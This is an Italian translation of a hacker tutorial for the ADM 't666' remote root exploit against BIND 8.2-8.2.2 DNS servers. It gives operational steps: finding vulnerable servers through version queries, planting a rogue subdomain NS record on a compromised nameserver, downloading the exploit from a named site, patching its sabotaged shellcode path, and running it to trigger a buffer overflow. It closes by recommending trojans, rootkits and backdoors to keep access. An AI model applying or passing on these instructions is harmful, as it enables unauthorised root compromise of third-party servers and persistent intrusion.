INTRO: Questo tutorial non è altro che la traduzione più fedele possibile dell’articolo: “BIND 8.2 - 8.2.2 *Remote root Exploit How-To*” scritto da   E-Mind.

DISCLAIMERZ: Questa è solo una traduzione di un “How-to” scritto da terzi, quindi se per caso vi sentite in qualche modo offesi da quanto scritto, siete liberi di distruggere il documento dal vostro HD. Il traduttore, True-love , non si assume nessuna responsabilità per l’uso che ne verrà fatto di questa traduzione.

INIZIO TRADUZIONE:
    +-------------------------------------------------------+

    |BIND 8.2 - 8.2.2 *Remote root Exploit How-To* by E-Mind|

    +-------------------------------------------------------+

(A) Cosa è un DNS?

1. Come faccio a domandare un DNS?

2. Come faccio a trovare un DNS vulnerabile?

(B) Come modifico i dati DNS?

1. Come trovo un “file ZONE”?

2. Come modifico un “file ZONE”?

(C) Come faccio a sfruttare una macchine vulnerabile?

1. Di cosa ho bisogno prima di poter utilizzare l’exploit?

2. Quale è la teoria dietro l’exploit?
3. Da dove prendo l’exploit?

4. Perché devo “patchare” l’exploit?

5. Come faccio a “patchare” l’exploit?

6. Come faccio a compilare l’exploit?

7. Come faccio a far girare l’exploit?

8. Come faccio a creare un server vulnerabile creando una chiamata al mio ip?

9. Cosa devo fare prima dell’autorizzazione della shell?

(D) Come devo essere creditato per questo HowTo?
1. Chi è la persona che mi ha motivato a scrivere questo?

2. Chi sono io?

3. Posso distribuire/cambiare questo HowTo?

4. Crediti finali e ringraziamenti :)

Sezione A – Cosa è un DNS?

--------------------------

Un DNS – Domain Name Server, è usato per convertire gli “host name” in indirizzi ip, e gli indirizzi ip in “host name”.

Per esempio: www.infoseek.com = 204.162.96.173
1. Come faccio a domandare un DNS?

 Innanzi tutto, devi probabilmente sapere che quando configuri il tuo TCP/IP e desideri usare gli “hostname” nel tuo browser web per andare in un sito web, invece di scrivere l’indirizzo ip di questo sito, devi configurare un server DNS. Avrai il tuo server DNS e il tuo indirizzo ip dal tuo ISP. Per creare una domanda al server DNS, sistemi Unix (e NT)hanno un “tool” chiamato “nslookup”, la sintassi di questo “tool” è:



$nslookup <nome host>



oppure



$nslookup <ip>

 Un server DNS opportunamente configurato contiene due “liste” per un dominio chiamato “file Zone”. Un “file zone” è usato per la risoluzione da hostname a ip, e l’altro è usato per cercare l’opposto ossia da ip a hostname. “nslookup” può essere usato in un modo interattivo, questo è il modo con cui lavoreremo, nella maniera più potente. Incomincia a scrivere “nslookup” nella shell e premi enter. Avrai un prompt “>”, dal quale puoi scrivere gli indirizzi ip e gli hostname. Ci sono alcuni comandi in “nslookup” i quali ne parleremo più avanti in questo HowTo che ti permetterà di avere altre informazioni.

2. Come faccio a trovare un DNS vulnerabile?
 Ricorda, noi sfrutteremo Name Server.

Prima dobbiamo trovare la versione del servizio DNS che gira sul sull’host remoto. Di conseguenza, dovremmo conoscere il sistema operativo, ma ci sono altri HowTo per questo. Useremo un tool chiamata “dig”, che è disponibile in molti sistemi Unix. La sintassi è come questo:

    $dig @<ip_vittima> versione.bind chaos txt | grep \"8



guarda l’output. Se vedi: 8.2 o 8.2.1 o 8.2.2 allora questo è vulnerabile. Se vedi 8.2.2P2 – P5, non lo è. Se non hai un output e appena vedi solo il tuo terminale bloccato, significa che l’amministratore del DNS ha probabilmente editato il sorgente così che il server non dia nessuna informazione. POTEVA ESSERE VULNERABILE.

Sezione B - Come modifico i dati DNS?

------------------------------------------

La prima cosa che devi sapere è, DNS è solo un file di testo, e i dati sono aggiunti o cambiati editando questo file di testo e ricominciando il servizio. Il file principale che controlla il servizio DNS è /etc/named.conf oppure /etc/named.boot. Se /etc/named.conf esiste, questo è il file che deve essere lavorato.
1. Come trovo un “file ZONE”?

 Come ho detto prima, un dominio DNS propriamente configurato ha due “liste” o “file zone” per ogni dominio. Dovrai editare questo “file zone” cambiando o aggiungendo dati a questo dominio. Un dominio e per esempio, infoseek.com, e l’hostname è www, l’FQDN è www.infoseek.com. FQDN sta per Fully Qualified Domain Name. Per trovare il “file zone” da FQDN a IP per il dominio infoseek.com, dovremo prima chiedere al nostro server DNS di dirci cosa è primariamente il DNS per infoseek.com. Questo è cosa è:


 $nslookup


 Default Server:  xxxxxx.xxxxxxx.xx.xx


 Address:  xxx.xx.xx.xx


 >set q=ns<ENTER>


 >infoseek.com<ENTER>


 >infoseek.com      nameserver = NS-UU.infoseek.com


 >NS-UU.infoseek.com    internet address = 198.5.208.3
 Come puoi vedere, ora abbiamo l’indirizzo ip del name server infoseek.com. Lascio suppore che siamo root li. Noi SSH al loro DNS, e localizziamo il file /etc/named.conf. Vediamo il file e guardiamo sopra una sezione opzioni.

C’è una linea li che dice:


 directory “/var/named”

 Questo significa, che il “file zne” sta in /var/named.

In oltre guardiamo giù nel file e vediamo alcune sezioni “zone”, vediamo una “zone” per infoseek.com che è come questa:


 zone "infoseek.com"{



type master;



file "infoseek.com.zone";


 };

 Come possiamo capire ora, il “file zone” è: /var/named/infoseek.com.zone, e questo è il file che dovremo editare.

2. Come modifico un “file ZONE”?

Prima, andiamo a dare uno sguardo al “file zone”. Vediamo sopra un SOA record, che probabilmente all’inizio ti sembra come un’immondizia di testo.
Dopo, vediamo qualcosa come:


 @                 IN     NS      NS-UU.infoseek.com.


 www               IN     A       204.192.96.173


 ftp               IN     CNAME   corp-bbn


 corp-bbn          IN     A       204.192.96.2


 .


 .


 .
 Come puoi vedere, ci sono diversi tipi di registrazioni, per il nostro lavoro dell’exploit, abbiamo solo bisogno di focalizzare in una registrazione, che è NS. Una registrazione “A” è il tipico Hostname al tipo di registrazione IP. CNAME è un nome canonico, che è un alias a una registrazione “A”. Una registrazione PTR è un Pointer record, che è l’opposto di “A”, punta gli indirizzi IP all’FQDN. I PTR sono usati negli “altri” “file zone”. Non ne discuteremo a proposito qui, ma è raccomandato che tu legga a proposito del DNS, ci sono molti buoni libro a circa il DNS, leggine uno. Una registrazione NS è un tipo di registrazione Name Server che dice quello che è il Name Sever per un dominio o    sub-dominio specifico. Come hai potuto notare, la registrazione NS NS-UU.infoseek.com finisce con un “.”. Questo perché abbiamo specificato l’FQDN e non l’hostname. Quando il periodo è omesso, il domain name è aggiunto dopo l’hostname e se omettiamo l’ultimo periodo, è come abbiamo visto:



NS-UU.infoseek.com.infoseek.com.
Allora invece di:



www


IN 

A
204.192.96.173
Possiamo scrivere:



www.infoseek.com
IN
A
204.192.96.173
Che è la stessa cosa.

Per far lavorare il nostro exploit, dovremo aggiungere un 
    sub-domain a un name server nella rete. Allora risupponiamo che siamo root su NS-UU.infoseek.com.

Come facciamo ad aggiungere un sub-domain?

Dobbiamo aggiungere solo un'altra registrazione NS.   

    subdomain              IN      NS      hacker.box.com.
questo significa che il name server del dominio subdomain.infoseek.com è hacker.box.com. hacker.box.com ha bisogno di essere risolto dall’indirizzo IP della tua macchina, così, invece, inserisci il tuo FQDN. Ora, dobbiamo far ripartire il name server così che i cambiamenti abbiano effetto. Scrivete il seguente comando:

      #/usr/sbin/ndc restart<ENTER>


 
 new pid is 24654


     #

Sezione C - Come faccio a sfruttare una macchine vulnerabile?
-------------------------------------------------------------

1. Di cosa ho bisogno prima di poter utilizzare l’exploit?
 Prima di tutto, 3 cellule di cervello. ;p

Hai bisogno anche dei privilegi di root su un Name Server PRIMARIO in Internet che è Autorevole per un dominio nella rete.

In oltre, avrai bisogno di una macchina dove girerà l’exploit. Come per le richieste del DNS, potevi anche chiedere a qualcuno che ha i privilegi di root su quei DNS, modificando i “file zone” per te.

2. Quale è la teoria dietro l’exploit?

 L’exploit usa un “Buffer Overflow” in Bind nelle versioni   8.2 – 8.2.2 guadagnando una shell di root remota.

L’exploit si collega alla porta 53 sulla macchina locale, e agisce come un server DNS. Quando qualcuno lo chiede, gli manda una grande registrazione TXT che contiene codici che sfrutterà sul server remoto BIND, a condizione che sia una macchina vulnerabile.

Per avere altre informazioni sul funzionamento del Buffer Overflow, *PER FAVORE* leggi l’eccellente articolo di “Aleph One”: Phrack 49 Article 14 - Smashing The Stack For Fun And Profit. URL: http://www.phrack.com/search.phtml?view&article=p49-14
3. Da dove prendo l’exploit?

 http://www.hack.co.za/exploits/daemon/named/t666.c
4. Perché devo “patchare” l’exploit?

 Hia già potuto sentire che l’exploit ha bisogno di essere “patchato” per poter lavorare. Questo è perché ADM pensa solo all’elite haxOrs dovendo usare il loro exploit e così, piantano un piccolo “bug” nel codice. Cosa facevano effettivamente, hanno cambiato i codici della shell così che invece di girare /bin/sh, l’exploit girerà in /adm/sh.

5. Come faccio a “patchare” l’exploit?

 Come puoi vedere, c’è bisogno solo di un piccolo cambiamento nel codice.


 / = 2F(HEX)   ===>  / = 2F(HEX)


 a = 61(HEX)   ===>  b = 62(HEX)


 d = 64(HEX)   ===>  i = 69(HEX)


 m = 6D(HEX)   ===>  n = 6E(HEX)


 / = 2F(HEX)   ===>  / = 2F(HEX)
Allora, tutto quello che abbiamo bisogno di fare, è cercare il codice sorgente per 0x2f,0x61,0x64,0x6d,0x2f e riscriverlo con 0x2f,0x62,0x69,0x6e,0x2f.

Fatto. 

6. Come faccio a compilare l’exploit?
      Come sempre:



$gcc t666.c -o t666<ENTER>


 
$
7. Come faccio a far girare l’exploit?

      $su<ENTER>

      Password:<password><ENTER>

      #./t666 1<ENTER>

Ora l’exploit è attaccato alla porta 53 (se sta girando un server DNS sulla macchina dove vuoi far girare l’exploit, devi prima uccidere il name server, usando: #killall -9 named)

L’exploit ora sta aspettando domande, il secondo chiederà qualcosa alla macchina sfruttata gli darà un output:


Received request from xxx.xx.xx.xx:1025 for xxx.xxxxxxxxx.xx.xx type=1
Se era un server DNS, doveva mettere un nodo proxy, e se è un server vulnerabile, girando su Linux Red Hat 6.x – chiamato 8.2/8.2.1 (dall’rpm) (questo è perché abbiamo scelto un’architettura, tipo ./t666 senza argomenti e ti darà una lista di architetture dove l’exploit lavorerà, l’ho provato solo su Red Hat linux, allora non chiedetemi perché su Solaris non funziona, non ho un Solaris su cui provarlo, non ho nemmeno il tempo per mettere altra fatica su questo exploit.) Avrai una root shell remota.

8. Come faccio a creare un server vulnerabile creando una chiamata al mio ip?
 Questo è molto facile ora, aggiungi una volta un sub-domain in un name server nella rete e crea da te stesso questo DNS, la sola cosa da fare, è chiedere al server vulnerabile per un host dentro il sub-domain aggiunto.

 $nslookup


 >server <victim><ENTER>


 >www.subdomain.infoseek.com<ENTER>
Cosa succederà, il server chiederà, in questo caso                NS-UU.infoseek.com per l’IP di www.subdomain.infoseek.com.

NS-UU.infoseek.com inizierà a cercare e otterrà al sub-domain, perché il sub-domain ha queste registrazioni OWN NS, dirà a <vittima> che hacker.box.com (il tuo hostname in questo caso) è    l’Authoritative Name Server per subdomain.infoseek.com. Ora, cosa succederà, che <vittima> chiederà a hacker.box.com, per l’indirizzo IP di www.subdomain.onfoseek.com. BOOM! :)
9. Cosa devo fare prima dell’autorizzazione della shell?

Quando sfrutti BIND, il name crasherà, allora devi aggiungere qualche tipo di backdoor così che puoi “riloggarti” dentro e farlo ripartire.

*NON PROVARE A FARLO RIPARTIRE DA DENTRO LA SHELL*
Ce ne sono in abbondanza di trojan e di rootkit che puoi installare nel server, te lo autorizzo.

Sezione D - Come devo essere creditato per questo HowTo?
--------------------------------------------------------

1. Chi è la persona che mi ha motivato a scrivere questo?

 La persona non è altro che gov-boi, amministra il grande sito www.hack.co.za. Senza di lui, questo HowTo non sarebbe mai stato scritto! Grazie Gov-Boi :)

2. Chi sono io?

 Sono E-Mind, mi puoi trovare su IRC (EFNet)

Non do in giro la mia E-Mail, e non risponderò a stupide domande. Penso che abbia stabilito tutto quello che ti serve per far girare l’exploit in questo HowTo. Se non è così, e se trovate errori, PER FAVORE /msg a me  su IRC.

3. Posso distribuire/cambiare questo HowTo?

 Non mi prendo responsabilità per le vostre azioni. Sei libero di farne quello che vuoi di questo file

*LA “SEZIONE D” RIMANE INTOCCABILE*

4. Crediti finali e ringraziamenti :)

 Crediti:

 Gov-Boi – Continua il buon lavoro! ;p

 Aleph One – nessun altro articolo spiega il Buffer Overflow meglio del tuo!

 ADM – per aver scritto questo sfacciato exploit.

Ringraziamenti:

 #myth!, #!glich, #972, #darknet, #feed-the-goats -  `sup guyz? ;]

EOF
FINE TRADUZIONE

INFO: Mi trovate su Azzurranet (irc.azzurrant.org). Per qualunque informazioni mandatemi un messaggio. Non rispondo a messaggi che chiedono aiuto o informazioni sul testo sopra tradotto. Per averle cercate E-Mind, che è la persona che ha scritto il testo originale in lingua inglese. 

GREETZ: Saluto tutti quelli del chan #crack-it in particolare: Quequero, TheMr, Phobos, Blakcdeath, Dades, Spider, Crazy Kiwy, Destructo, Case, Pincopall, JeyOne, Quake2^AM, Cyber Pk; il chan #asm: Albe, Pbdz, Unics, Niubei, Dark Angel, Any_D_J, handshake, DarkSSj, d31m0s, littleluk; il chan #ondaquadra in particolare: Xpterminator, MightyInquisitor; saluto tutto il chan #bfc e i loro membri in particolare e4m; saluto tutta la crew tvots facendo al founder i più sentiti auguri di Buon Inizio. Inoltre saluto MManson84. Saluto anche tutti quelli che mi sono dimenticato di mettere nei chan.  

